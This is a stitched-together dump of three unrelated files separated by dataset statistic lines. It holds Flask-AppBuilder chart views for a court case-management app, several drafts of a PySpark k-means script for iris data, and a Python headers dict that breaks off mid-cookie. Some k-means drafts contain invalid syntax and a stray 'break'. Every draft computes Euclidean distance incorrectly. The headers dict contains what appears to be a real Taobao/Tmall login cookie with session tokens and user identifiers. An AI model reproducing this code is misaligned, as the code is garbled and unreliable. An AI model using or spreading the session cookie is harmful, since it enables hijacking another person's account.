# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class AttorneyChartView(GroupByChartView):
datamodel = SQLAInterface(Attorney)
chart_title = 'Grouped Attorney by Birth'
label_columns = AttorneyView.label_columns
chart_type = 'PieChart'
definitions = [
{
'group' : 'age_today',
"series" : [(aggregate_count,"age_today")]
},
{
'group' : 'gender',
"series" : [(aggregate_count,"age_today")]
}
]
class AttorneyTimeChartView(GroupByChartView):
datamodel = SQLAInterface(Attorney)
chart_title = 'Grouped Birth Attorney'
chart_type = 'AreaChart'
label_columns = AttorneyView.label_columns
definitions = [
{
'group' : 'age_today',
'formatter': pretty_month_year,
"series" : [(aggregate_count,"age_today")]
},
{
'group': 'age_today',
'formatter': pretty_year,
"series" : [(aggregate_count,"age_today")]
}
]
class PlaintiffChartView(GroupByChartView):
datamodel = SQLAInterface(Plaintiff)
chart_title = 'Grouped Plaintiff by Birth'
label_columns = PlaintiffView.label_columns
chart_type = 'PieChart'
definitions = [
{
'group' : 'age_today',
"series" : [(aggregate_count,"age_today")]
},
{
'group' : 'gender',
"series" : [(aggregate_count,"age_today")]
}
]
class PlaintiffTimeChartView(GroupByChartView):
datamodel = SQLAInterface(Plaintiff)
chart_title = 'Grouped Birth Plaintiff'
chart_type = 'AreaChart'
label_columns = PlaintiffView.label_columns
definitions = [
{
'group' : 'age_today',
'formatter': pretty_month_year,
"series" : [(aggregate_count,"age_today")]
},
{
'group': 'age_today',
'formatter': pretty_year,
"series" : [(aggregate_count,"age_today")]
}
]
class ObserverChartView(GroupByChartView):
datamodel = SQLAInterface(Observer)
chart_title = 'Grouped Observer by Birth'
label_columns = ObserverView.label_columns
chart_type = 'PieChart'
definitions = [
{
'group' : 'age_today',
"series" : [(aggregate_count,"age_today")]
},
{
'group' : 'gender',
"series" : [(aggregate_count,"age_today")]
}
]
class ObserverTimeChartView(GroupByChartView):
datamodel = SQLAInterface(Observer)
chart_title = 'Grouped Birth Observer'
chart_type = 'AreaChart'
label_columns = ObserverView.label_columns
definitions = [
{
'group' : 'age_today',
'formatter': pretty_month_year,
"series" : [(aggregate_count,"age_today")]
},
{
'group': 'age_today',
'formatter': pretty_year,
"series" : [(aggregate_count,"age_today")]
}
]
class SuretyChartView(GroupByChartView):
datamodel = SQLAInterface(Surety)
chart_title = 'Grouped Surety by Birth'
label_columns = SuretyView.label_columns
chart_type = 'PieChart'
definitions = [
{
'group' : 'age_today',
"series" : [(aggregate_count,"age_today")]
},
{
'group' : 'gender',
"series" : [(aggregate_count,"age_today")]
}
]
class SuretyTimeChartView(GroupByChartView):
datamodel = SQLAInterface(Surety)
chart_title = 'Grouped Birth Surety'
chart_type = 'AreaChart'
label_columns = SuretyView.label_columns
definitions = [
{
'group' : 'age_today',
'formatter': pretty_month_year,
"series" : [(aggregate_count,"age_today")]
},
{
'group': 'age_today',
'formatter': pretty_year,
"series" : [(aggregate_count,"age_today")]
}
]
class ProsecutorChartView(GroupByChartView):
datamodel = SQLAInterface(Prosecutor)
chart_title = 'Grouped Prosecutor by Birth'
label_columns = ProsecutorView.label_columns
chart_type = 'PieChart'
definitions = [
{
'group' : 'age_today',
"series" : [(aggregate_count,"age_today")]
},
{
'group' : 'gender',
"series" : [(aggregate_count,"age_today")]
}
]
class ProsecutorTimeChartView(GroupByChartView):
datamodel = SQLAInterface(Prosecutor)
chart_title = 'Grouped Birth Prosecutor'
chart_type = 'AreaChart'
label_columns = ProsecutorView.label_columns
definitions = [
{
'group' : 'age_today',
'formatter': pretty_month_year,
"series" : [(aggregate_count,"age_today")]
},
{
'group': 'age_today',
'formatter': pretty_year,
"series" : [(aggregate_count,"age_today")]
}
]
class PolicemanChartView(GroupByChartView):
datamodel = SQLAInterface(Policeman)
chart_title = 'Grouped Policeman by Birth'
label_columns = PolicemanView.label_columns
chart_type = 'PieChart'
definitions = [
{
'group' : 'age_today',
"series" : [(aggregate_count,"age_today")]
},
{
'group' : 'gender',
"series" : [(aggregate_count,"age_today")]
}
]
class PolicemanTimeChartView(GroupByChartView):
datamodel = SQLAInterface(Policeman)
chart_title = 'Grouped Birth Policeman'
chart_type = 'AreaChart'
label_columns = PolicemanView.label_columns
definitions = [
{
'group' : 'age_today',
'formatter': pretty_month_year,
"series" : [(aggregate_count,"age_today")]
},
{
'group': 'age_today',
'formatter': pretty_year,
"series" : [(aggregate_count,"age_today")]
}
]
class JudgeChartView(GroupByChartView):
datamodel = SQLAInterface(Judge)
chart_title = 'Grouped Judge by Birth'
label_columns = JudgeView.label_columns
chart_type = 'PieChart'
definitions = [
{
'group' : 'age_today',
"series" : [(aggregate_count,"age_today")]
},
{
'group' : 'gender',
"series" : [(aggregate_count,"age_today")]
}
]
class JudgeTimeChartView(GroupByChartView):
datamodel = SQLAInterface(Judge)
chart_title = 'Grouped Birth Judge'
chart_type = 'AreaChart'
label_columns = JudgeView.label_columns
definitions = [
{
'group' : 'age_today',
'formatter': pretty_month_year,
"series" : [(aggregate_count,"age_today")]
},
{
'group': 'age_today',
'formatter': pretty_year,
"series" : [(aggregate_count,"age_today")]
}
]
class DefendantChartView(GroupByChartView):
datamodel = SQLAInterface(Defendant)
chart_title = 'Grouped Defendant by Birth'
label_columns = DefendantView.label_columns
chart_type = 'PieChart'
definitions = [
{
'group' : 'age_today',
"series" : [(aggregate_count,"age_today")]
},
{
'group' : 'gender',
"series" : [(aggregate_count,"age_today")]
}
]
class DefendantTimeChartView(GroupByChartView):
datamodel = SQLAInterface(Defendant)
chart_title = 'Grouped Birth Defendant'
chart_type = 'AreaChart'
label_columns = DefendantView.label_columns
definitions = [
{
'group' : 'age_today',
'formatter': pretty_month_year,
"series" : [(aggregate_count,"age_today")]
},
{
'group': 'age_today',
'formatter': pretty_year,
"series" : [(aggregate_count,"age_today")]
}
]
# How to create a MasterDetailView
#class DetailView(ModelView):
# datamodel = SQLAInterface(DetailTable, db.session)
#class MasterView(MasterDetailView):
# datamodel = SQLAInterface(MasterTable, db.session)
# related_views = [DetailView]
# How to create a MultipleView
#class MultipleViewsExp(MultipleView):
# views = [GroupModelView, ContactModelView]
#View Registration
db.create_all()
appbuilder.add_view(AttorneyView(), "Attorneys", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(BailView, "Bails", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(CaseView, "Cases", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(CauseofactionView, "Causeofactions", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(ConstituencyView, "Constituencys", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(CountyView, "Countys", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(CourtView, "Courts", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(CourtlevelView, "Courtlevels", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(DefendantView, "Defendants", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(DoctemplateView, "Doctemplates", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(FilingView, "Filings", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(FilingtypeView, "Filingtypes", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(HearingView, "Hearings", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(HearingtypeView, "Hearingtypes", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(InvestigationView, "Investigations", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(JudgeView, "Judges", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(LawfirmView, "Lawfirms", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(NatureofsuitView, "Natureofsuits", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(ObserverView, "Observers", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(PlaintiffView, "Plaintiffs", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(PolicemanView, "Policemans", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(PoliceroleView, "Policeroles", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(PolicestationView, "Policestations", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(PrisonView, "Prisons", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(PrisonremandView, "Prisonremands", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(ProsecutorView, "Prosecutors", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(ProsecutorteamView, "Prosecutorteams", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(SubcountyView, "Subcountys", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(SuretyView, "Suretys", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(TownView, "Towns", icon="fa-folder-open-o", category="Setup")
appbuilder.add_view(AttorneyChartView, 'Attorney Age Chart', icon='fa-folder-open-o', category='Reports')
appbuilder.add_view(AttorneyTimeChartView, 'Attorney Time Chart', icon='fa-folder-open-o', category='Reports')
appbuilder.add_view(PlaintiffChartView, 'Plaintiff Age Chart', icon='fa-folder-open-o', category='Reports')
appbuilder.add_view(PlaintiffTimeChartView, 'Plaintiff Time Chart', icon='fa-folder-open-o', category='Reports')
appbuilder.add_view(ObserverChartView, 'Observer Age Chart', icon='fa-folder-open-o', category='Reports')
appbuilder.add_view(ObserverTimeChartView, 'Observer Time Chart', icon='fa-folder-open-o', category='Reports')
appbuilder.add_view(SuretyChartView, 'Surety Age Chart', icon='fa-folder-open-o', category='Reports')
appbuilder.add_view(SuretyTimeChartView, 'Surety Time Chart', icon='fa-folder-open-o', category='Reports')
appbuilder.add_view(ProsecutorChartView, 'Prosecutor Age Chart', icon='fa-folder-open-o', category='Reports')
appbuilder.add_view(ProsecutorTimeChartView, 'Prosecutor Time Chart', icon='fa-folder-open-o', category='Reports')
appbuilder.add_view(PolicemanChartView, 'Policeman Age Chart', icon='fa-folder-open-o', category='Reports')
appbuilder.add_view(PolicemanTimeChartView, 'Policeman Time Chart', icon='fa-folder-open-o', category='Reports')
appbuilder.add_view(JudgeChartView, 'Judge Age Chart', icon='fa-folder-open-o', category='Reports')
appbuilder.add_view(JudgeTimeChartView, 'Judge Time Chart', icon='fa-folder-open-o', category='Reports')
appbuilder.add_view(DefendantChartView, 'Defendant Age Chart', icon='fa-folder-open-o', category='Reports')
appbuilder.add_view(DefendantTimeChartView, 'Defendant Time Chart', icon='fa-folder-open-o', category='Reports')
#appbuilder.add_separator("Setup")
#appbuilder.add_separator("My Views")
#appbuilder.add_link(name, href, icon='', label='', category='', category_icon='', category_label='', baseview=None)
| 42.989899
| 136
| 0.751927
| 4,704
| 42,560
| 6.483418
| 0.053997
| 0.082628
| 0.039347
| 0.05902
| 0.885632
| 0.810283
| 0.810283
| 0.777231
| 0.777231
| 0.777231
| 0
| 0.000383
| 0.140249
| 42,560
| 989
| 137
| 43.033367
| 0.833101
| 0.480193
| 0
| 0.463636
| 1
| 0
| 0.147007
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.004545
| false
| 0
| 0.022727
| 0.004545
| 0.597727
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 8
|
8a0f98226d12758b8604c3945e02c6203be7ab23
| 15,858
|
py
|
Python
|
draft/draft_at_work_bilal.py
|
elieahd/data-analytics-kmeans
|
df44da132cf0de00d870b8865781f4fd78113cfa
|
[
"MIT"
] | 2
|
2020-10-09T20:13:00.000Z
|
2021-06-06T09:18:33.000Z
|
draft/draft_at_work_bilal.py
|
elieahd/data-analytics-kmeans
|
df44da132cf0de00d870b8865781f4fd78113cfa
|
[
"MIT"
] | null | null | null |
draft/draft_at_work_bilal.py
|
elieahd/data-analytics-kmeans
|
df44da132cf0de00d870b8865781f4fd78113cfa
|
[
"MIT"
] | 2
|
2018-06-06T08:33:03.000Z
|
2018-06-06T09:00:47.000Z
|
[
(0, (0,1.1)),
(1, (0,1.1)),
(2, (1,1.1)),
(3, (3,1.1)),
(4, (2,1.1)),
(5, (3,1.1)),
]
# (0, ([4.5, 2.3, 6.3, 5.1], (0,1.1)))
dataByCluster = finalResult.join(data).map(lambda (iPoint, (data, (iCentroid, dist))): (iCentroid, (data, dist)))
# (3, [([4.5, 2.3, 6.3, 5.1], 1.1), ([4.5, 2.3, 6.3, 5.1], 1.1)])
dataByCluster = dataByCluster.groupByKey().map(lambda (key, resultIterator): (key, list(resultIterator)))
centroids = dataByCluster.map(lambda (iCentroid, clusterItems): recalculateCentroid(iCentroid, clusterItems))
def recalculateCentroid(iCentroid, clusterItems):
allLists = [];
for element in clusterItems:
allLists.append(element[0])
newCentroid = (iCentroid, numpy(allLists, axis = 0))
return newCentroid
# ------------------------- New -----------------------------
# [
# (0, (0,1.1)),
# (1, (0,1.1)),
# (2, (1,1.1)),
# (3, (3,1.1)),
# (4, (2,1.1)),
# (5, (3,1.1)),
# ]
def recalculateCentroid(iCentroid, clusterItems):
allLists = [];
for element in clusterItems:
allLists.append(element[0]);
newCentroid = (iCentroid, numpy(allLists, axis = 0));
return newCentroid;
# def computeIntraClusterDistance:
def hasConverged(centroids, newCentroids):
for i = 0 To len(centroids):
oldElement = centroid[i];
newElement = newCentroids[i];
if (!numpy.array_equal(oldElement, newElement)):
return False
return True
# The iterations count until convergence
# iterations = sc.accumulator(0)
centroids = initCentroid(a, b, k)
data = data.zipWithIndex()
while True:
cartesianData = centroids.cartesian(data)
res = cartesianData.map(lambda (centroid, dataPoint): calculateDistance(centroid, dataPoint))
finalResult = res.groupByKey().map(lambda x: (x[0], list(x[1]))).map(lambda row: minDist(row))
# (0, ([4.5, 2.3, 6.3, 5.1], (0,1.1)))
dataByCluster = finalResult.join(data).map(lambda (iPoint, (data, (iCentroid, dist))): (iCentroid, (data, dist)))
# (3, [([4.5, 2.3, 6.3, 5.1], 1.1), ([4.5, 2.3, 6.3, 5.1], 1.1)])
dataByCluster = dataByCluster.groupByKey().map(lambda (key, resultIterator): (key, list(resultIterator)))
newCentroids = dataByCluster.map(lambda (iCentroid, clusterItems): recalculateCentroid(iCentroid, clusterItems))
if hasConverged(centroids.collect(), newCentroids.collect()):
break;
centroids = newCentroids
# ------------------------- New -----------------------------
from pyspark.mllib.random import RandomRDDs
from math import floor
import numpy
# path = "data/iris_clustering.dat"
path = "data/iris_small.dat"
dataFromText = sc.textFile(path)
def loadData(row):
sepalLength, sepalWidth, petalLength, petalWidth, className = row.split(',');
return ([float(sepalLength), float(sepalWidth), float(petalLength), float(petalWidth), className]);
def initCentroid(minVal, maxVal, numOfCentroids):
# centroidIndeces = RandomRDDs.uniformRDD(sc, numOfCentroids).map(lambda i: int(floor(minVal+(maxVal-minVal)*i))).collect()
# centroids = data.takeSample(False, 4);
# formattedCentroids = []
# for centroid in centroids:
# element = centroid[:-1]
# formattedCentroids.append(element)
# return sc.parallelize(formattedCentroids).zipWithIndex()
return sc.parallelize([([5.7, 3.8, 1.7, 0.3], 0), ([6.2, 2.2, 4.5, 1.5], 1), ([6.7, 2.5, 5.8, 1.8], 2), ([6.3, 2.5, 5.0, 1.9], 3)]);
def assignToCluster(centroids, data):
return centroids.cartesian(data)
def calculateDistance(centroid, dataPoint):
list1 = centroid[0]
list2 = dataPoint[0][:4:]
array1 = numpy.array(list1)
array2 = numpy.array(list2)
dist = numpy.sqrt(numpy.sum(array1 - array2)**2)
return (dataPoint[1], (centroid[1], dist))
def minDist(row):
index = row[0]
myList = row[1]
minValue = -1
minPoint = None
minCentroidIndex = -1
for element in myList:
centroidIndex = element[0]
distance = element[1]
if (minValue == -1) or (distance < minValue):
minValue = distance
minCentroidIndex = centroidIndex
minPoint = (minCentroidIndex, minValue)
return (index, minPoint)
data = dataFromText.map(lambda x: loadData(x))
a = 0
b = data.count()-1
k = 4
# centroids = initCentroid(a, b, k)
# #centroids.collect()
# data = data.zipWithIndex()
def recalculateCentroid(iCentroid, clusterItems):
allLists = []
for element in clusterItems:
#element = ([5.4, 3.7, 1.5, 0.2, u'Iris-setosa'], 0.6999999999999994)
allLists.append(element[0][:4:])
averageArray = list(numpy.average(allLists, axis = 0))
newCentroid = (iCentroid, averageArray)
return newCentroid
# def computeIntraClusterDistance:
def hasConverged(centroids, newCentroids):
for i in range(len(centroids)):
oldElement = centroids[i][1];
newElement = newCentroids[i][1];
if not numpy.array_equal(oldElement, newElement):
return False
return True
# The iterations count until convergence
# iterations = sc.accumulator(0)
centroids = initCentroid(a, b, k)
data = data.zipWithIndex()
# while True:
cartesianData = centroids.cartesian(data)
res = cartesianData.map(lambda (centroid, dataPoint): calculateDistance(centroid, dataPoint))
finalResult = res.groupByKey().map(lambda x: (x[0], list(x[1]))).map(lambda row: minDist(row))
# (0, ([4.5, 2.3, 6.3, 5.1], (0,1.1)))
data = data.map(lambda (x, y): (y, x))
dataByCluster = finalResult.join(data).map(lambda (iPoint, ((iCentroid, dist), data)): (iCentroid, (data, dist)))
# (3, [([4.5, 2.3, 6.3, 5.1], 1.1), ([4.5, 2.3, 6.3, 5.1], 1.1)])
dataByCluster = dataByCluster.groupByKey().map(lambda (key, resultIterator): (key, list(resultIterator)))
newCentroids = dataByCluster.map(lambda (iCentroid, clusterItems): recalculateCentroid(iCentroid, clusterItems))
if hasConverged(centroids.collect(), newCentroids.collect()):
break;
centroids = newCentroids
# ----------------------------- New -----------------------------
from pyspark.mllib.random import RandomRDDs
import numpy
# path = "data/iris_clustering.dat"
path = "data/iris_small.dat"
numClusters = 4
# methods
def customSplit(row):
values = row[0]
index = row[1]
sepalLength, sepalWidth, petalLength, petalWidth, cluster = values.split(',')
return (index, [float(sepalLength), float(sepalWidth), float(petalLength), float(petalWidth), cluster])
def loadData(path):
dataFromText = sc.textFile(path)
dataZipped = dataFromText.zipWithIndex()
return dataZipped.map(lambda x: customSplit(x))
def initCentroids(data, numClusters):
sample = sc.parallelize(data.takeSample(False, numClusters))
centroids = sample.map(lambda point : point[1][:-1])
return centroids.zipWithIndex().map(lambda point : (point[1], point[0]))
def calculateDistance(centroid, dataPoint):
list1 = centroid[1]
list2 = dataPoint[1][:4:]
array1 = numpy.array(list1)
array2 = numpy.array(list2)
dist = numpy.sqrt(numpy.sum(array1 - array2)**2)
return (dataPoint[0], (centroid[0], dist))
def hasConverged(centroids, newCentroids):
for i in range(len(centroids)):
oldElement = centroids[i][1];
newElement = newCentroids[i][1];
if not numpy.array_equal(oldElement, newElement):
return False
return True
def recalculateCentroid(iCentroid, clusterItems):
allLists = []
for element in clusterItems:
#element = ([5.4, 3.7, 1.5, 0.2, u'Iris-setosa'], 0.6999999999999994)
allLists.append(element[0][:4:])
averageArray = list(numpy.average(allLists, axis = 0))
newCentroid = (iCentroid, averageArray)
return newCentroid
def hasConverged(centroids, newCentroids):
for i in range(len(centroids)):
oldElement = centroids[i][1];
newElement = newCentroids[i][1];
if not numpy.array_equal(oldElement, newElement):
return False
return True
data = loadData(path)
centroids = initCentroids(data, numClusters)
res = cartesianData.map(lambda (centroid, dataPoint): calculateDistance(centroid, dataPoint))
finalResult = res.groupByKey().map(lambda x: (x[0], list(x[1]))).map(lambda row: minDist(row))
dataByCluster = finalResult.join(data).map(lambda (iPoint, ((iCentroid, dist), data)): (iCentroid, (data, dist)))
dataByCluster = dataByCluster.groupByKey().map(lambda (key, resultIterator): (key, list(resultIterator)))
newCentroids = dataByCluster.map(lambda (iCentroid, clusterItems): recalculateCentroid(iCentroid, clusterItems))
#Loop code
if hasConverged(centroids.collect(), newCentroids.collect()):
break;
centroids = newCentroids
# ================================= Stable Version =================================
from pyspark.mllib.random import RandomRDDs
import numpy
# path = "data/iris_clustering.dat"
path = "data/iris_clustering.dat"
numClusters = 4
# methods
def customSplit(row):
values = row[0]
index = row[1]
sepalLength, sepalWidth, petalLength, petalWidth, cluster = values.split(',')
return (index, [float(sepalLength), float(sepalWidth), float(petalLength), float(petalWidth), cluster])
def loadData(path):
dataFromText = sc.textFile(path)
dataZipped = dataFromText.zipWithIndex()
return dataZipped.map(lambda x: customSplit(x))
#Random is not efficient!
def initCentroids(data, numClusters):
sample = sc.parallelize(data.takeSample(False, numClusters))
centroids = sample.map(lambda point : point[1][:-1])
return centroids.zipWithIndex().map(lambda point : (point[1], point[0]))
# def initCentroids():
# return sc.parallelize([(0,[5.7, 3.8, 1.7, 0.3]), (1, [6.2, 2.2, 4.5, 1.5]), (2, [6.7, 2.5, 5.8, 1.8]), (3, [6.3, 2.5, 5.0, 1.9])])
def calculateDistance(centroid, dataPoint):
list1 = centroid[1]
list2 = dataPoint[1][:4:]
array1 = numpy.array(list1)
array2 = numpy.array(list2)
dist = numpy.sqrt(numpy.sum(array1 - array2)**2)
return (dataPoint[0], (centroid[0], dist))
def minDist(row):
index = row[0]
myList = row[1]
minValue = -1
minPoint = None
minCentroidIndex = -1
for element in myList:
centroidIndex = element[0]
distance = element[1]
if (minValue == -1) or (distance < minValue):
minValue = distance
minCentroidIndex = centroidIndex
minPoint = (minCentroidIndex, minValue)
return (index, minPoint)
def recalculateCentroid(iCentroid, clusterItems):
allLists = []
for element in clusterItems:
#element = ([5.4, 3.7, 1.5, 0.2, u'Iris-setosa'], 0.6999999999999994)
allLists.append(element[0][:4:])
averageArray = list(numpy.average(allLists, axis = 0))
newCentroid = (iCentroid, averageArray)
return newCentroid
def hasConverged(centroids, newCentroids):
for i in range(len(centroids)):
oldElement = centroids[i][1];
newElement = newCentroids[i][1];
if not numpy.array_equal(oldElement, newElement):
return False
return True
data = loadData(path)
# centroids = initCentroids()
centroids = initCentroids(data, numClusters)
centroids.collect()
iterations = 0
while True:
iterations += 1
cartesianData = centroids.cartesian(data)
res = cartesianData.map(lambda (centroid, dataPoint): calculateDistance(centroid, dataPoint))
finalResult = res.groupByKey().map(lambda x: (x[0], list(x[1]))).map(lambda row: minDist(row))
dataByCluster = finalResult.join(data).map(lambda (iPoint, ((iCentroid, dist), data)): (iCentroid, (data, dist)))
dataByCluster = dataByCluster.groupByKey().map(lambda (key, resultIterator): (key, list(resultIterator)))
newCentroids = dataByCluster.map(lambda (iCentroid, clusterItems): recalculateCentroid(iCentroid, clusterItems))
#Loop code
if hasConverged(centroids.collect(), newCentroids.collect()):
break;
centroids = newCentroids
centroids = centroids.persist()
centroids.collect()
iterations
# ================================= New Version =================================
# Modifications:
# - Fixed performance of the algorithm
# - Added Elapsed time calculator
# PS: Iteration cost ~ 1 second of calculations
#
# TODO:
# - Add the algorithm in a function
# - Make the code generic
# - [Later] Make it work for spark submit execution
from pyspark.mllib.random import RandomRDDs
import numpy
import datetime
# path = "data/iris_small.dat"
path = "data/iris_clustering.dat"
numClusters = 4
# methods
def customSplit(row):
values = row[0]
index = row[1]
sepalLength, sepalWidth, petalLength, petalWidth, cluster = values.split(',')
return (index, [float(sepalLength), float(sepalWidth), float(petalLength), float(petalWidth), cluster])
def loadData(path):
dataFromText = sc.textFile(path)
dataZipped = dataFromText.zipWithIndex()
return dataZipped.map(lambda x: customSplit(x))
#Random is not efficient!
def initCentroids(data, numClusters):
sample = sc.parallelize(data.takeSample(False, numClusters))
centroids = sample.map(lambda point : point[1][:-1])
return centroids.zipWithIndex().map(lambda point : (point[1], point[0]))
# def initCentroids():
# return sc.parallelize([(0,[5.7, 3.8, 1.7, 0.3]), (1, [6.2, 2.2, 4.5, 1.5]), (2, [6.7, 2.5, 5.8, 1.8]), (3, [6.3, 2.5, 5.0, 1.9])])
def calculateDistance(centroid, dataPoint):
list1 = centroid[1]
list2 = dataPoint[1][:4:]
array1 = numpy.array(list1)
array2 = numpy.array(list2)
dist = numpy.sqrt(numpy.sum(array1 - array2)**2)
return (dataPoint[0], (centroid[0], dist))
def minDist(row):
index = row[0]
myList = row[1]
minValue = -1
minPoint = None
minCentroidIndex = -1
for element in myList:
centroidIndex = element[0]
distance = element[1]
if (minValue == -1) or (distance < minValue):
minValue = distance
minCentroidIndex = centroidIndex
minPoint = (minCentroidIndex, minValue)
return (index, minPoint)
def recalculateCentroid(iCentroid, clusterItems):
allLists = []
for element in clusterItems:
#element = ([5.4, 3.7, 1.5, 0.2, u'Iris-setosa'], 0.6999999999999994)
allLists.append(element[0][:4:])
averageArray = list(numpy.average(allLists, axis = 0))
newCentroid = (iCentroid, averageArray)
return newCentroid
def hasConverged(centroids, newCentroids):
for i in range(len(centroids)):
oldElement = centroids[i][1];
newElement = newCentroids[i][1];
if not numpy.array_equal(oldElement, newElement):
return False
return True
data = loadData(path)
# centroids = initCentroids()
centroids = initCentroids(data, numClusters)
centroids.collect()
iterations = 0
startTime = datetime.datetime.now()
while True:
iterations += 1
cartesianData = centroids.cartesian(data)
res = cartesianData.map(lambda (centroid, dataPoint): calculateDistance(centroid, dataPoint))
finalResult = res.groupByKey().map(lambda x: (x[0], list(x[1]))).map(lambda row: minDist(row))
dataByCluster = finalResult.join(data).map(lambda (iPoint, ((iCentroid, dist), data)): (iCentroid, (data, dist)))
dataByCluster = dataByCluster.groupByKey().map(lambda (key, resultIterator): (key, list(resultIterator)))
newCentroids = dataByCluster.map(lambda (iCentroid, clusterItems): recalculateCentroid(iCentroid, clusterItems))
#Loop code
centroidsList = centroids.collect()
newCentroidsList = newCentroids.collect()
if hasConverged(centroidsList, newCentroidsList):
break;
centroids = sc.parallelize(newCentroidsList)
# centroids = centroids.persist()
endTime = datetime.datetime.now()
centroids.collect()
print("Number of iterations until convergence: " + str(iterations))
print("Elapsed time: " + str(endTime - startTime))
| 35.006623
| 136
| 0.659352
| 1,865
| 15,858
| 5.598928
| 0.096515
| 0.038786
| 0.045968
| 0.003448
| 0.871097
| 0.867171
| 0.862383
| 0.862383
| 0.840739
| 0.840739
| 0
| 0.038453
| 0.176756
| 15,858
| 452
| 137
| 35.084071
| 0.761394
| 0.160928
| 0
| 0.852459
| 0
| 0
| 0.010879
| 0.003626
| 0
| 0
| 0
| 0.002212
| 0
| 0
| null | null | 0
| 0.032787
| null | null | 0.006557
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
8a26bdf1406a19a688c5cf9a9fd2b039ad9252db
| 2,382
|
py
|
Python
|
second.py
|
thedognexttothetrashcan/taobao
|
c796ec1f61a5443406686f65badc1df6aaf7b711
|
[
"Apache-2.0"
] | null | null | null |
second.py
|
thedognexttothetrashcan/taobao
|
c796ec1f61a5443406686f65badc1df6aaf7b711
|
[
"Apache-2.0"
] | 1
|
2020-12-05T15:32:37.000Z
|
2020-12-05T15:32:37.000Z
|
second.py
|
xwh-p/taobao
|
c796ec1f61a5443406686f65badc1df6aaf7b711
|
[
"Apache-2.0"
] | null | null | null |
headers = {
'accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'accept-encoding':'gzip, deflate, br',
'accept-language':'zh-CN,zh;q=0.9',
'cookie':'cna=gY5GE8vPMGACASvgLWesBpgg; _med=dw:1440&dh:900&pw:1440&ph:900&ist:0; l=bBgQUK1lvHlc2bE_BOCg5uI81fb9kIRPguPRwGoei_5Q-1T-JB_OlkIbwe96Vj5P9bYB4R3ZAF9teFmT8PsV.; sm4=110100; enc=xzqpgSiaHaMOi%2BHzY%2BcQ8xIJ6jeSOrGpaJQ3yJ2MJm22hbDyWWnk1saajEjzUU5PAmCn0Kvw4fr%2FIX%2F6FkAhoA%3D%3D; _uab_collina=155187561517221955690883; lid=%E6%8F%90%E6%96%AF%E6%8B%89%E7%88%B8%E7%88%B8; hng=CN%7Czh-CN%7CCNY%7C156; tk_trace=1; t=a3e60ff03b942db42bf59b62b90443e5; tracknick=%5Cu63D0%5Cu65AF%5Cu62C9%5Cu7238%5Cu7238; lgc=%5Cu63D0%5Cu65AF%5Cu62C9%5Cu7238%5Cu7238; _tb_token_=31be3e73997e5; cookie2=1b8f21a5c9e506e84e656d60295a13a5; _m_h5_tk=cfb444dcbb06a43d4a577b24234b80b0_1552150173904; _m_h5_tk_enc=ce73ae367db4d19a16f655f333eaa140; uc1=cookie16=URm48syIJ1yk0MX2J7mAAEhTuw%3D%3D&cookie21=UtASsssmfufd&cookie15=WqG3DMC9VAQiUQ%3D%3D&existShop=false&pas=0&cookie14=UoTZ5iTLQ9MXPA%3D%3D&tag=8&lng=zh_CN; uc3=vt3=F8dByEvz1X9YYE1xpaY%3D&id2=UUphyu7opSokkbNd8Q%3D%3D&nk2=r7Qc2M7TAvy3RA%3D%3D&lg2=UIHiLt3xD8xYTw%3D%3D; _l_g_=Ug%3D%3D; ck1=""; unb=2200733418885; cookie1=W80vOuO9AY8m2yPvjGw2CQE%2B%2Bjh7a7z5PnzPvOgtEs0%3D; login=true; cookie17=UUphyu7opSokkbNd8Q%3D%3D; _nk_=%5Cu63D0%5Cu65AF%5Cu62C9%5Cu7238%5Cu7238; uss=""; csg=f378d88d; skt=5f3a54dd35a3edd2; cq=ccp%3D0; res=scroll%3A1440*6137-client%3A1440*789-offset%3A1440*6137-screen%3A1440*900; x5sec=7b22746d616c6c7365617263683b32223a226364383366363066656166666539306137323030323566356433633766653433434f6d316a2b5146454a486b754c717677664f3164426f504d6a49774d44637a4d7a51784f4467344e547378227d; 